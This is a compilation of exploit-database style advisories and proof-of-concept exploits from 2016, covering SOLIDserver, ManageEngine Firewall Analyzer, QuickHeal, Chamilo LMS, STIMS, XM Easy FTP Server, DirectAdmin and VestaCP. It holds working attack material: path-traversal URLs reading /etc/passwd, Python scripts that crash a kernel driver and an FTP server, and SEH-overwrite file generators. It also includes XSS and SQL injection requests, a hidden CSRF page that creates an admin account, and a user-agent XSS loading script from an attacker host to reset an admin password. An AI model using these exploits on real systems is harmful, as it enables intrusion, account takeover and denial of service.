electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

				Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
            
Title: SOLIDserver <=5.0.4 - Local File Inclusion Vunerability
Author: Saeed reza Zamanian [penetrationtest @ Linkedin]

Product: SOLIDserver
Tested Version: : 5.0.4 and 4.0.2
Vendor: efficient IP http://www.efficientip.com
Google Dork: SOLIDserver login
Date: 17 Feb 2016

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N


About Product : 
---------------
EfficientIP's IP Address Management (IPAM) solution adapts to business and IT goals and objectives by allowing the creation of specific IPAM and VLANs deployment processes.
SOLIDserver IPAM is a unified solution that allows you to design, deploy, and manage the IP addressing plan automatically applying allocation rules and simplifying deployments. 

Vulnerability Details:
----------------------
Based on a code review done on the product , this product doesn't have any observation on some parameters, that make the attacker able to read file contents.

PoC 1:
-----
https://www.site.com/mod/system/report_download.php?report_filename=/etc/passwd
or
view-source:https://www.site.com/mod/system/report_download.php?report_filename=../../../../../../../../../../../../etc/passwd

PoC 2 : [login authentication required]
------
https://www.site.com/mod/generic/download_config_file.php?config_file=../../../../../../../../../../../../../../etc/hosts


#EOF
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=640

There is a type confusion vulnerability in the SimpleButton constructor. Flash stores an empty button to use to create buttons for optimization reasons. If this object is created using a SWF tag before it is created in the Button class, and it not of type Button, type confusion can occur.

A SWF needs to be altered in a hex editor to reproduce this issue. To start, build button.fla. This is a swf with the code:

var sb = new SimpleButton();

and a font attached. Decompress the swf using flasm -x button.swf, and then replace all occurrences of the font ID (0x0001) in the three tags that use it with the ID of the empty button object (0xfff6).  

When the button is created, the font will be type confused with a button.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39476.zip
            
================================================================
ManageEngine Firewall Analyzer 8.5– Privilege Escalation Vulnerability
================================================================

Description :

Vulnerability Type : Privilege Escalation Vulnerability
Vulnerable Version : 8.5
Vendor Homepage:https://www.manageengine.com/products/firewall/download.html
CVE-ID :
Severity : High
Author – Sachin Wagh (@tiger_tigerboy)

ManageEngine Firewall Analyzer is an agent less log analytics and
configuration management software that helps network administrators to
centrally collect,
archive, analyze their security device logs and generate forensic reports
out of it.

It allows an attacker to gain admin privileges.

Proof of Concept URL
--------------------

1. Setup Burp and change user password and change username to admin.

2. Burp Request :

POST /fw/userManagementForm.do HTTP/1.1
Host: localhost:8500
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101
Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost:8500/fw/index2.do?url=archivedFiles&helpP=archivedFiles&completeData=true&tab=system&subTab=cal&flushCache=true&DateRange=false&timeFrame=LastWeek
Cookie: leftPanel=230px; JSESSIONID=E58D08B4F3AF70279BBB128D713EADB7;
JSESSIONIDSSO=A326C72CC526B521A8EA9286C7951F0C; FWA_TABLE=TS
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 159

password=guest&email=guest%40adventnet.com
&addField=false&userName=guest&userID=2&changePassword=true&isDemo=false&domainName=&productName=firewall&next=logoff

#########################################################

================================================================
ManageEngine Firewall Analyzer 8.5– Multiple Cross-Site Scripting
Vulnerability
================================================================

Description :

Vulnerability Type : Multiple Cross Site Scripting Vulnerability
Vulnerable Version : 8.5
Vendor Homepage:https://www.manageengine.com/products/firewall/download.html
CVE-ID :
Severity : High
Author – Sachin Wagh (@tiger_tigerboy)


ManageEngine Firewall Analyzer is an agent less log analytics and
configuration management software that helps network administrators to
centrally collect,
archive, analyze their security device logs and generate forensic reports
out of it.

ManageEngine Firewall Analyzer is prone to multiple cross-site scripting
vulnerabilities because it fails to sanitize user-supplied input. An
attacker may leverage these issues to execute arbitrary script code
in the browser of an unsuspecting user in the context of the affected site.

Proof of Concept URL
-----------------------------------------------------------------------------------------------------------------------------------

1. http://localhost:8500/ResolveDNSConfig.nms?f4efe
"><script>alert(1)</script>2b1254aa403=1
2. http://localhost:8500/addDevCrd.nms?cba2d
"><script>alert(1)</script>99328e18e3f=1
3. http://localhost:8500/customizeReportAction.nms?flushAll=true&17eab
"><script>alert(1)</script>d1bf001d67b=1
4. http://localhost:8500/userIPConfig.nms?fe1b5
"><script>alert(1)</script>62ff05628d3=1
5. http://localhost:8500/viewListPageAction.nms?3078c
"><script>alert(1)</script>fea0d816dfe=1
6.
http://localhost:8500/createAnomaly.nms?dc8c4%22%3E%3Cscript%3Ealert%281%29%3C/script%3E0c840168f94=1
7. http://localhost:8500/createProfile.do?66342
"><script>alert(1)</script>7cdd43cf7ed=1
8.
http://localhost:8500/fw/ResolveDNSConfig.nms?dnsOption=1&dnsMemorySize=10000&dnsUpdate=&dnsResult=&6adac%22%3E%3Cscript%3Ealert%281%29%3C/script%3E619a9b8bff2d28708=1
9.
http://localhost:8500/fw/index2.do?url=advSrchAction&tab=search&sMode=adv&subTab=advSrch&3602d%22%3E%3Cscript%3Ealert%281%29%3C/script%3E4bb604792b5eb3ace=1&DateRange=&flushCache=&additionalParams=sMode%3dadv%26subTab%3dadvSrch%26tab%3dsearch%26url%3dadvSrchAction&functionName=&to=2016-01-15+00%3a00+++2016-01-15+12%3a35&uniqueReport=null
10.
http://localhost:8500/searchAction.do?fd272%22%3E%3Cscript%3Ealert%281%29%3C/script%3Eace8dfca87a=1
11.
http://localhost:8500/uniquereport.do?baseUrl=uniquereport&resourceName=SimulatedFirewall1&displayName=SimulatedFirewall1&reportId=1&resourceType=Firewall&divid=Firewall_1&divType=block&applyTimeCriteria=true&7db2f%22%3E%3Cscript%3Ealert%281%29%3C/script%3E8d3926f45f8=1

#########################################################

================================================================
ManageEngine Firewall Analyzer 8.5 SQL Query Execution Vulnerability
================================================================

Description :

Vulnerability Type : ManageEngine Firewall Analyzer 8.5 SQL Query Execution Vulnerability
Vulnerable Version : 8.5
Vendor Homepage:https://www.manageengine.com/products/firewall/download.html
CVE-ID :
Severity : High
Author – Sachin Wagh (@tiger_tigerboy)

ManageEngine Firewall Analyzer is an agent less log analytics and configuration management software that helps network administrators to centrally collect,
archive, analyze their security device logs and generate forensic reports out of it.

The vulnerability exists due to an error in the RunQuerycommand.  An authenticated, remote attacker could exploit
this vulnerability via a crafted POST request.  An exploit could allow the attacker to execute arbitrary SQL queries on the  underlying database server.

Every user has the ability to execute SQL queries through the "/fw/runQuery.do" script, including the default "guest" user.

Below is the POST request, executed as "guest":

POST /fw/runQuery.do HTTP/1.1
Host: localhost:8500
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8500/fw/runQuery.do
Cookie: username=guest; password=8094789293; leftPanel=230px; JSESSIONID=3590F06EA06BBA9B0FC9A40405E1144F; JSESSIONIDSSO=96016151FC34CD1EA17192C6AF288A14; FWA_TABLE=TS
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 123

execute=true&DatabaseType=postgres&query=select version()

Access to queries starting with "INSERT" or "UPDATE" giving warning as "operation not permitted"

But When executed query, like this:"SELECT 1;INSERT INTO ..." its not giving any warning.


Affected Product:
------------------------------------------------------------------------------------------------------------

Vulnerable Product:
                                [+]  ManageEngine Firewall Analyzer 8.5

Credits & Authors
-------------------------------------------------------------------------------------------------------------
Sachin Wagh (@tiger_tigerboy)
            
# Exploit Title: QuickHeal webssx.sys driver DOS vulnerability
# Date: 19/02/2016
# Exploit Author: Csaba Fitzl
# Vendor Homepage: http://www.quickheal.co.in/
# Version: 16.00
# Tested on: Win7x86, Win7x64
# CVE : CVE-2015-8285

from ctypes import *
from ctypes.wintypes import *
import sys

kernel32 = windll.kernel32
ntdll = windll.ntdll

#GLOBAL VARIABLES

MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
STATUS_SUCCESS = 0

def alloc_in(base,evil_size):
	""" Allocate input buffer """
	print "[*] Allocating input buffer"
	baseadd   = c_int(base)
	size = c_int(evil_size)
	evil_input = "\x41" * 0x10
	evil_input += "\x42\x01\x42\x42" #to trigger memcpy
	evil_input += "\x42" * (0x130-0x14)
	evil_input += "\xc0\xff\xff\xff" #this will cause memcpy to fail, and trigger BSOD
	evil_input += "\x43" * (evil_size-len(evil_input))
	ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, 
											  POINTER(c_int), c_int, c_int]
	dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0, 
											 byref(size), 
											 MEM_RESERVE|MEM_COMMIT,
											 PAGE_EXECUTE_READWRITE)
	if dwStatus != STATUS_SUCCESS:
		print "[-] Error while allocating memory: %s" % hex(dwStatus+0xffffffff)
		sys.exit()
	written = c_ulong()
	alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, base, evil_input, len(evil_input), byref(written))
	if alloc == 0:
		print "[-] Error while writing our input buffer memory: %s" %\
			alloc
		sys.exit()

if __name__ == '__main__':
	print "[*] webssx BSOD"
	
	GENERIC_READ  = 0x80000000
	GENERIC_WRITE = 0x40000000
	OPEN_EXISTING = 0x3
	IOCTL_VULN	= 0x830020FC
	DEVICE_NAME   = "\\\\.\\webssx\some" #add "some" to bypass ACL restriction, (FILE_DEVICE_SECURE_OPEN is not applied to the driver)
	dwReturn	  = c_ulong()
	driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)

	inputbuffer	   = 0x41414141 #memory address of the input buffer
	inputbuffer_size  = 0x1000
	outputbuffer_size = 0x0
	outputbuffer	  = 0x20000000 
	alloc_in(inputbuffer,inputbuffer_size)
	IoStatusBlock = c_ulong()
	if driver_handle:
		print "[*] Talking to the driver sending vulnerable IOCTL..."
		dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle,
									   None,
									   None,
									   None,
									   byref(IoStatusBlock),
									   IOCTL_VULN,
									   inputbuffer,
									   inputbuffer_size,
									   outputbuffer,
									   outputbuffer_size
									   )
            
Document Title:
===============
Chamilo LMS - Persistent Cross Site Scripting Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1727

Video: https://www.youtube.com/watch?v=gNZsQjmtiGI


Release Date:
=============
2016-02-17


Vulnerability Laboratory ID (VL-ID):
====================================
1727


Common Vulnerability Scoring System:
====================================
3.3


Product & Service Introduction:
===============================
Chamilo is an open-source (under GNU/GPL licensing) e-learning and content management system, aimed at improving access to education and knowledge globally. 
It is backed up by the Chamilo Association, which has goals including the promotion of the software, the maintenance of a clear communication channel and 
the building of a network of services providers and software contributors.

The Chamilo project aims at ensuring the availability and quality of education at a reduced cost, through the distribution of its software free of charge,
the improvement of its interface for 3rd world countries devices portability and the provision of a free access public e-learning campus.

(Copy of the Homepage: https://chamilo.org/chamilo-lms/ )


Abstract Advisory Information:
==============================
A persistent cross site scripting vulnerability has been discoverd in the official web-application Product Chamilo LMS.


Vulnerability Disclosure Timeline:
==================================
2016-02-17: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A GET cross site scripting web vulnerability has been discovered in the official Netlife Photosuite Pro Content Management System.
A vulnerability allows remote attackers to inject malicious script codes on the client-side of the affected web-application.

The vulnerability is located in the `title` input field of the `work/upload.php` file. Remote attackers are able to inject own 
malicious script codes to the client-side of the affected web-application. The request method to inject is POST and the attack 
vector is client-side. The attacker injects the payload in the vulnerable input field to execute the code in view.php.

The security risk of the client-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.3. 
Exploitation of the non-persistent cross site scripting web vulnerability requires low privileged web-application user account and low user interaction. 
Successful exploitation results in session hijacking, persistent phishings attacks, persistent external redirect and malware loads or persistent 
manipulation of affected or connected module context.


Request Method(s):
					[+] POST

Vulnerable Module(s):
					[+] work/

Vulnerable File(s):
					[+] upload.php
					[+] view.php

Vulnerable Parameter(s):
					[+] title


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without web-application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Users goes to [ Course name > Assignments > ]
2. users will follow the [Assignments] made by Course Trainer or admin of Chamilo platform . 
3. Users will click on button titled as [ upload My Assignments] .
4. an upload Document is Shown and A parameter [ Title ] is vulnerable to POC Payload ["><iframe src=http://vulnerability-lab.com >]
5. when trainer or admin view Assignments of user, code is executed successfully 

--- PoC Session Logs [POST] ---
POST /site/main/work/upload.php?cidReq=[Course name]&id_session=0&gidReq=0&gradebook=0&origin=&id=1 HTTP/1.1
Host: chamilo.org
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Cookie: defaultMyCourseView15=0; __cfduid=dcb5fdb8a71117667369addf2c390449a331452648620; ch_sid=9daew954ef087c82cb0cab6037949478e
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------206976886318079499742071692496
Content-Length: 1482
-----------------------------206976886318079499742071692496
Content-Disposition: form-data; name="title"
[<Persistent Code Injection>] 
-----------------------------206976886318079499742071692496
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream
-----------------------------206976886318079499742071692496
Content-Disposition: form-data; name="description"
<p>really thats out of brain</p>
-----------------------------206976886318079499742071692496
Content-Disposition: form-data; name="submitWork"
-----------------------------206976886318079499742071692496
Content-Disposition: form-data; name="_qf__form"
-----------------------------206976886318079499742071692496
Content-Disposition: form-data; name="contains_file"
0
-----------------------------206976886318079499742071692496
Content-Disposition: form-data; name="active"
1
-----------------------------206976886318079499742071692496
Content-Disposition: form-data; name="accepted"
1
-----------------------------206976886318079499742071692496
Content-Disposition: form-data; name="MAX_FILE_SIZE"
134217728
-----------------------------206976886318079499742071692496
Content-Disposition: form-data; name="id"
1
-----------------------------206976886318079499742071692496
Content-Disposition: form-data; name="sec_token"
435ad99d48d0fe2e6bed594707dffc1d
-----------------------------206976886318079499742071692496--


Security Risk:
==============
The security risk of the persistent cross site script vulnerability in the web-application is estimated as medium. (CVSS 3.3)


Credits & Authors:
==================
Lawrence Amer - ( http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer )


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       		- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       		- admin@evolution-sec.com
Section:    magazine.vulnerability-db.com	- vulnerability-lab.com/contact.php		       	- evolution-sec.com/contact
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       		- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   		- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php  	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

				Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
            
Document Title:
===============
Chamilo LMS IDOR - (messageId) Delete POST Inject Vulnerability 


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1720

Video: https://www.youtube.com/watch?v=3ApPhUIk12Y


Release Date:
=============
2016-02-15


Vulnerability Laboratory ID (VL-ID):
====================================
1720


Common Vulnerability Scoring System:
====================================
6.1


Product & Service Introduction:
===============================
Chamilo is an open-source (under GNU/GPL licensing) e-learning and content management system, aimed at improving access to education and knowledge globally. 
It is backed up by the Chamilo Association, which has goals including the promotion of the software, the maintenance of a clear communication channel and 
the building of a network of services providers and software contributors.

The Chamilo project aims at ensuring the availability and quality of education at a reduced cost, through the distribution of its software free of charge,
the improvement of its interface for 3rd world countries devices portability and the provision of a free access public e-learning campus.

(Copy of the Homepage: https://chamilo.org/chamilo-lms/ )


Abstract Advisory Information:
==============================
An Insecure Direct Object Reference vulnerability has been discoverd in the official web-application Product Chamilo LMS.


Vulnerability Disclosure Timeline:
==================================
2016-02-15: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
An insecure direct object references occurd when an application provides direct access to objects based on user-supplied input. 
As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for deleting 
another users social wall posts Insecure Direct Object References allow attackers to bypass authorization and access resources 
directly by modifying the value of a parameter[Message id] used to directly point to an Message id of social wall post id. 

Vulnerability Method(s):
				[+] GET 

Vulnerable File(s):
				[+] social/profile.php

Vulnerable Parameter(s):
				[+] messageId


Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers with low privilege web-application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

1. User A goes to User B or Admin soical wall in platform : /profile.php?u=[USER ID] 

2. choose any Posts related to USER B or ADMIN . and figure out the messageId of Post by replaying to it and 
intercept the data to show the messageId parameter. 

3. User A as Remote attacker will use this link filled with messageId in last to delete others posts 
http://SOMESITE/CHAMILOSCRIPTPATH/main/social/profile.php?messageId=28


Security Risk:
==============
The security risk of the object reference web validation vulnerability in the web-application is estimated as high. (CVSS 6.1)


Credits & Authors:
==================
Lawrence Amer - ( http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer )


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       		- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       		- admin@evolution-sec.com
Section:    magazine.vulnerability-db.com	- vulnerability-lab.com/contact.php		       	- evolution-sec.com/contact
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       		- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   		- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php  	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

				Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]

-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
            
# Exploit Title: STIMS BUFFER OVERFLOW SEH OVERWRITE
# Date: 19 Feb 2016
# Exploit Author: Ishita Sailor <ishitasailor@gmail.com>
# Vendor Homepage: http://www.stimslabs.com/
# Software Link: http://www.stimslabs.com/en/buffer/STIMSBufferEnSetup.exe
# Version: 1.1.20
# Tested on: Windows XP SP3
# CVE : UNKNOWN
# ==============HOW TO CRASH ==================
#make the buff file and open it it the STIMSBuffer application.
#Click on View Report
#===========================================
#Problems in exploitation
#Unable to find suitable SEH pointer
#


#!/usr/bin/env python
f=open("crash.buff","w")
payload="""<!--block:#solution-->
[solution]
name="""
payload +="\x41"*8460
payload +="\x42"*4 #SEH overwrite

payload +="""desc=asdasdasd
time=0
version=1
file=C:\Documents and Settings\IEUser\Desktop\z.buff
time.created=131003052796300000
app=1.1.1
projects=1
time.last=131003052894110000
<!--#solution:block-->
<!--block:Buffer 1-->
[properties]
buffer.id=0
buffer.name=Maleic acid / sodium hydrogen maleate
buffer.desc=Maleic acid / sodium hydrogen maleate with pKa 2
buffer.inp.pka=2.00000
buffer.inp.vol=1000.000000
buffer.inp.ph=2.000000
buffer.inp.conc=1.000000
buffer.inp.temp=24.000000
buffer.out.strength=0.592637
buffer.out.sln1.name=Maleic acid
buffer.out.sln1.conc=3.000000
buffer.out.sln1.vol=135.787622
buffer.out.sln2.name=Sodium hydrogen maleate
buffer.out.sln2.conc=3.000000
buffer.out.sln2.vol=197.545712
buffer.out.water=1000.000000
comment=
comment.active=0
notes=
notes.active=0
name=Buffer 1
active=1
<!--Buffer 1:block-->
"""
f.write(payload)
f.close()
            
# Exploit Title: STIMS CUTTER OVERFLOW SEH OVERWRITE
# Date: 19 Feb 2016
# Exploit Author: Shantanu Khandelwal <shantanu561993@gmail.com
<ishitasailor@gmail.com>>
# Vendor Homepage: http://www.stimslabs.com/
# Software Link: http://www.stimslabs.com/en/cutter/STIMSCutterEnSetup.exe
# Version: 1.1.3.20
# Tested on: Windows XP SP3
# CVE : UNKNOWN
# ==============HOW TO CRASH ==================
#make the cutt file and open it it the STIMS Cutter application.
#Click on Build Report
#===========================================
#Problems in exploitation
#Unable to find suitable SEH pointer
#


#!/usr/bin/env python
f=open("crash.cutt","w")

payload = """<!--block:#solution-->
[solution]
name="""
payload+="A"*8452
payload +="BBBB" #SEH overwrite
payload +="""CCCC
desc=A
time=0
version=1
file=C:\Documents and Settings\IEUser\Desktop\ABC.cutt
time.created=131003117142810000
app=1.1.3
projects=1
<!--#solution:block-->
<!--block:A-->
[properties]
optimize=0
level=0
diversity=0
status=0
active=1
remnants=0
sort=0
version=1
desc=S
comment=
comment.active=0
notes=
notes.active=0
material=A
progress=100
calculation=0D99FF12
cost=222.000
time.gone=0
time.date=2016 Feb 18 23.29.14
payload=2
file=C:\Documents and Settings\IEUser\Desktop\ABC.cutt
app=1.1.3

[order.blanks]
b001={ "uid": "908113387", "material": "A", "length": "222", "quantity":
"1", "knife": "1", "indent": "11", "cost": "1.0", "comment": "1", "id":
"1", "name": "a" }

[order.pieces]
p001={ "uid": "124270241", "material": "A", "length": "111", "quantity":
"1", "label": "1", "comment": "1", "id": "1", "name": "a", "orphans": "0" }

[layout.summary]
summary={ "output": "112.000", "used.len": "222.000", "used": "1",
"pieces": "1", "cmu": "50.450", "waste": "49.550", "shifts": "1",
"remnants": "0.000", "srest": "110.000", "cost": "222.000", "cost.ppu":
"1.982", "brest": "110.0", "status": "", "type": "summary", "time.gone":
"0", "time.date": "2016 Feb 18 23.29.14" }
blank01={ "name": "a", "cost": "1.000000", "blank": "1", "used": "1",
"pieces": "1", "cmu": "50.450", "waste": "49.550", "shifts": "1", "output":
"112.000", "used.len": "222.000", "cost.sum": "222.000", "cost.ppu":
"1.982", "remnants": "0.000" }

[layout.cuttings]
c001={ "signature": "1#a1-", "copies": "1", "remains": "110", "blank": "1",
"shifts": "1", "output": "#1 1", "layout": "111" }

[layout.cuttings.parts]
c001={ "signature": "1#a1-", "copies": "1", "remains": "110", "blank": "1",
"shifts": "1", "output": "#1 1", "layout": "111", "name": "1" }
<!--A:block-->
"""

f.write(payload)
f.close()
            
#!/usr/bin/python
#XM Easy Personal FTP Server 5.8.0 (HELP) Denial of Service
#Tested on : Windows XP SP 3 EN
#Author : Pawan Lal   dxb.pawan@gmail.com
#Date : 18-02-2016
 
import socket
import sys
  
def Usage():
    print ("Usage: ./ftpxmftpdosbackup.py <FTP IP> <Username> <Password>\n")
buffer= "A" * 4500
def start(hostname, username, passwd):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, 21))
    except:
        print ("[-] Connection error!")
        sys.exit(1)
    r=sock.recv(1024)
    print "[+] " + r
    sock.send("user %s\r\n" %username)
    r=sock.recv(1024)
    sock.send("pass %s\r\n" %passwd)
    r=sock.recv(1024)
    print "[+] Evil Payload i.e buffer"
    sock.send("HELP %s\r\n" %buffer)
    sock.close()
  
if len(sys.argv) <> 4:
    Usage()
    sys.exit(1)
else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    start(hostname,username,passwd)
    sys.exit(0)
            

=============================================================================
# Title   : DirectAdmin (1.491) CSRF Vulnerability 
# Date    : 27-10-2014 updated 18-02-2016
# Version : >=1.491 
# Author  : Necmettin COSKUN =>@babayarisi
# Blog    :http://ha.cker.io
# Vendor  : http://www.directadmin.com/
# Download: http://www.directadmin.com/demo.html
=============================================================================
# info : DirectAdmin is a web-based hosting control panel.

#As you can see original form doesn't include csrf protection or any secret token.
<form name=reseller action="CMD_ACCOUNT_ADMIN" method="post" onSubmit="return formOK()">
<input type=hidden name=action value=create>
<tr><td class=list>Username:</td><td class=list><input type=text name=username maxlength=12 onChange="checkName()"></td></tr>
<tr><td class=list>E-Mail:</td><td class=list><input type=text name=email onChange="checkEmail()"></td></tr>
<tr><td class=list>Enter Password:</td><td class=list><input type=password name=passwd> <input type=button value="Random" onClick="randomPass()"></td></tr>
<tr><td class=list>Re-Enter Password:</td><td class=list><input type=password name=passwd2 onChange="checkPass()"></td></tr>
<tr><td class=list>Send Email Notification:</td><td class=list><input type=checkbox value="yes" name=notify checked> <a href="javascript:showAdminMessage();">Edit Admin Message</a></td></tr>

<tr><td td class=listtitle colspan=3 align=right>
<input type=submit value="Submit">
</td></tr>
</form>

#POC
<html>
<head>
<title>POC</title>
</head>
<script language="javascript">

function yurudi(){
var adress  ="www.demo.com";
var username="demo";
var email   ="demo@demo.com";
var password="12345";
var urlson="https://"+adress+":2222/CMD_ACCOUNT_ADMIN?action=create&username="+username+"&email="+email+"&passwd="+password+"&passwd2="+password;

document.getElementById("resim").src=urlson;
}
</script>

<body onload="yurudi()">
<img id="resim" src="" style="height:0px;width:0px;"></img>
</body>
</html>
#POC

# don't be evil!
Discovered by:
================
Necmettin COSKUN  |GrisapkaGuvenlikGrubu|4ewa2getha!
            
# Exploit Title     :Vesta Control Panel <= 0.9.8-15 - Persistent XSS Vulnerability
# Vendor Homepage   :http://www.vestacp.com
# Version           :0.9.8-15
# Exploit Author    :Necmettin COSKUN @babayarisi 
# Blog              :http://ha.cker.io
# Discovery date    :16/02/2016
# Tested on         :Fedora23 - Chrome/Firefox/Maxthon

We can use user-agent information to attack website like this. 
First of all we change our user-agent and add some dangerous javascript code ( XSS etc. ) 
and then we request to one of the website on target server then it is saved on access.log by server 
so when Administrator reads it the javascript code works that we added our user-agent information.

Poc Exploit
================
1.Prepare evil js file 

function csrfWithToken(url,hanimisToken,password){
	$.get(url, function(gelen) {
		$('body').append($(gelen));
		$('form[id="vstobjects"]').css("display","none");
		var token = $(hanimisToken).attr("token");
		$('form[id="vstobjects"]').attr("action",url);
		$('input[name="v_password"]').val(password);	
		$('form[id="vstobjects"]').submit();		
	});
};
//password = 1234567
csrfWithToken("/edit/user/?user=admin","#token","123456");

2. Make a Get request with evil user-agent to victim server
 
wget --header="Accept: text/html" --user-agent="<script src='http://evilsite/evil.js'></script>" http://victimserver
 
3. We wait Administrator to read access.log that injected our evil.js
4. We log-in VestaCP via password we changed
http(s)://victim:8083/
  
  
Discovered by:
================
Necmettin COSKUN  |GrisapkaGuvenlikGrubu|4ewa2getha!
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=633

The attached flv file causes stack corruption when loaded into Flash. To use the PoC, load LoadMP42.swf?file=lownull.flv from a remote server.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39466.zip
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=635

The attached file causes a crash due to a heap overflow, probably due to an issue in ATF processing by the URLStream class.


